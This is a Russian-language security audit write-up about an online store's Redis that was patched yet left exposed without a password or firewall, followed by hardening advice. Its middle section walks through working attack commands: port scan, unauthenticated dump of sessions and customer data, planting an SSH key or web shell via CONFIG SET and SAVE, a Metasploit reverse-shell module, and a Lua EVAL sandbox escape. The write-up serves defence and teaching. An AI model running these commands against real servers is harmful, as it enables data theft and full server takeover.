Повод для аудита был информационный: очередная новость о том, что в Redis нашли уязвимость, разработчики выпустили патч, а через несколько дней исследователи показали, как этот патч обойти. Заказчик — владелец интернет-магазина бытовой техники — забеспокоился и попросил проверить, что происходит с его инфраструктурой. Подрядчик уже отчитался: «обновление накатили, можно спать спокойно». Проверка заняла один вечер и показала, что спать спокойно было рано.
Что оказалось на самом деле
Версия Redis действительно была свежая, уязвимость из новости — закрыта. Но конфигурация самого сервиса оставалась дефолтной в худшем смысле слова: без пароля (requirepass не задан), без ограничения по bind, без файрвола между интернетом и портом 6379. Патч на приложение поставили, а дверь рядом с ним — в буквальном смысле сервер хранения кэша и сессий — так и стояла нараспашку.
Через Redis проходили данные заказов, кэш телефонов и адресов клиентов, остатки товаров и черновики акций — то есть всё, ради чего его вообще подключали для ускорения сайта.
Как это эксплуатируется
Проверка внешнего периметра начинается с обычного скана портов. Ничего экзотического — типовой первый шаг любого пентеста и любой автоматической атаки ботов, которые сканируют весь интернет по 6379 порту.
nmap -sV -p 6379 203.0.113.10
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 7.2.4
Дальше — попытка подключиться без авторизации. Если сервис отвечает на PING, значит паролем и не пахнет:
redis-cli -h 203.0.113.10 -p 6379
203.0.113.10:6379> PING
PONG
203.0.113.10:6379> INFO server
redis_version:7.2.4
os:Linux 5.15.0-x86_64
tcp_port:6379
Дальше атакующий смотрит, что вообще лежит в базе — обычно достаточно пары команд:
203.0.113.10:6379> KEYS *
1) "session:8a12f..."
2) "cart:user:44231"
3) "cache:promo:winter_sale"
...
203.0.113.10:6379> DBSIZE
(integer) 187423
Это уже само по себе слив: содержимое ключей сессий, корзин и кэша промо-акций можно выгрузить целиком через DUMP/RDB или банальный --rdb дамп:
redis-cli -h 203.0.113.10 -p 6379 --rdb /tmp/dump.rdb
Transfer finished with success.
strings /tmp/dump.rdb | grep -Ei "phone|address|promo"
Но незапароленный Redis интересен не только чтением. Классический вектор — превратить его в точку входа на сам сервер через запись файла на диск. Redis умеет сохранять свою базу (RDB) в произвольную директорию, что при отсутствии аутентификации превращается в примитив записи файла с контролируемым содержимым:
redis-cli -h 203.0.113.10 -p 6379
203.0.113.10:6379> CONFIG SET dir /var/lib/redis/.ssh
203.0.113.10:6379> CONFIG SET dbfilename authorized_keys
203.0.113.10:6379> SET x "\n\nssh-rsa AAAAB3NzaC1yc2E... attacker@kali\n\n"
203.0.113.10:6379> SAVE
OK
Если пользователь, от которого запущен Redis, имеет домашнюю папку с .ssh и права на запись — это готовый бэкдор для входа по ключу. Тот же приём с записью в веб-корень (CONFIG SET dir /var/www/html, файл вида shell.php) даёт веб-шелл напрямую через браузер. Для автоматизации есть модуль Metasploit:
msf6 > use exploit/linux/redis/redis_replication_cmd_exec
msf6 exploit(redis_replication_cmd_exec) > set RHOSTS 203.0.113.10
msf6 exploit(redis_replication_cmd_exec) > run
[*] Started reverse TCP handler
[*] Sending stage
[*] Command shell session 1 opened
Отдельный класс атак — через модули (MODULE LOAD) и через уязвимости самого Lua-скриптинга (EVAL), которые периодически всплывают в CVE: например, побег из Lua-песочницы в интерпретаторе Redis (issues уровня CVE-2022-0543, CVE-2024-31449) позволяет выполнить произвольный код в контексте процесса Redis без записи файлов вообще — просто через один скрипт:
203.0.113.10:6379> EVAL "local f = loadstring('os.execute(\"id\")'); f()" 0
Именно про такой класс уязвимостей и была исходная новость: разработчики закрыли одну дыру в песочнице, а исследователи почти сразу нашли обход патча. Но в данном кейсе даже это было избыточно — не было пароля, а значит не нужен был ни эксплойт, ни CVE, ни песочница. Достаточно было знать IP и порт.
Что и почему сработало бы
- Прямой слив данных. Команда
KEYS *и выгрузка RDB дают злоумышленнику весь кэш: сессии авторизованных пользователей, содержимое корзин, телефоны и адреса, если они кэшировались вместе с заказом. - Захват сессий. Если в Redis хранились session-токены сайта, их можно скопировать и подставить в свой браузер — получить доступ к личному кабинету клиента или даже к админке, если её сессии шли через тот же Redis.
- Разведка перед конкурентной атакой. Ключи вида
cache:promo:*иstock:*раскрывают готовящиеся акции и остатки товара за день-два до публикации — именно тот сценарий, о котором говорил заказчик применительно к потере выручки. - Эскалация до RCE. Запись SSH-ключа или веб-шелла через
CONFIG SET dir/dbfilename+SAVEпревращает утечку данных в полный контроль над сервером — с этой точки атака идёт дальше: к базе данных сайта, к панели администратора, к бэкапам. - Использование в качестве плацдарма. Скомпрометированный Redis-хост часто становится узлом для сканирования внутренней сети компании — если сервер находится в той же VLAN, что и БД или файловое хранилище.
Как закрыть
Ничего из перечисленного не требует сложных инструментов защиты — это базовая гигиена конфигурации, которую подрядчики массово пропускают, потому что «обновление же поставили».
- Закрыть порт наружу. Redis не должен быть виден из интернета в принципе — доступ только из локальной сети приложения:
# /etc/redis/redis.conf bind 127.0.0.1 10.0.0.5 protected-mode yes - Включить аутентификацию.
requirepass Sxxxxxxxxxxxxxxxxxxxxxxx_long_random # для Redis 6+ — ACL с ограниченными правами вместо одного суперпароля ACL SETUSER app_readonly on >pass123 ~cache:* +get +exists -@all - Отключить опасные команды на проде.
rename-command CONFIG "" rename-command FLUSHALL "" rename-command FLUSHDB "" rename-command MODULE "" rename-command EVAL "" - Файрвол на уровне ОС как второй рубеж, если приложение по каким-то причинам должно ходить к Redis не с localhost:
ufw allow from 10.0.0.0/24 to any port 6379 ufw deny 6379 - Мониторинг попыток подключения. Логировать и алертить на неавторизованные
AUTH-фейлы и подключения с внешних IP, отправлять уведомление в мессенджер ответственному лицу. - Регулярные бэкапы в отдельное хранилище, не доступное с того же сервера напрямую — чтобы утечка или шифровальщик не унесли и резервные копии тоже.
- Регламент для подрядчика. Разделить в договоре и в чек-листе два разных пункта: «установка обновлений безопасности» и «проверка конфигурации доступа». Второе не следует автоматически из первого, и именно это разделение стоило заказчику одного вечера работы вместо потенциального штрафа за утечку персональных данных 40 000 клиентов и упущенной выручки от слитой конкурентам акции.
Патч закрывает конкретную уязвимость в коде программы. Он не проверяет, есть ли пароль на входе и кто вообще может достучаться до сервиса снаружи. Это две разные задачи, и обе нужно выполнять руками, а не по факту «обновление стоит».
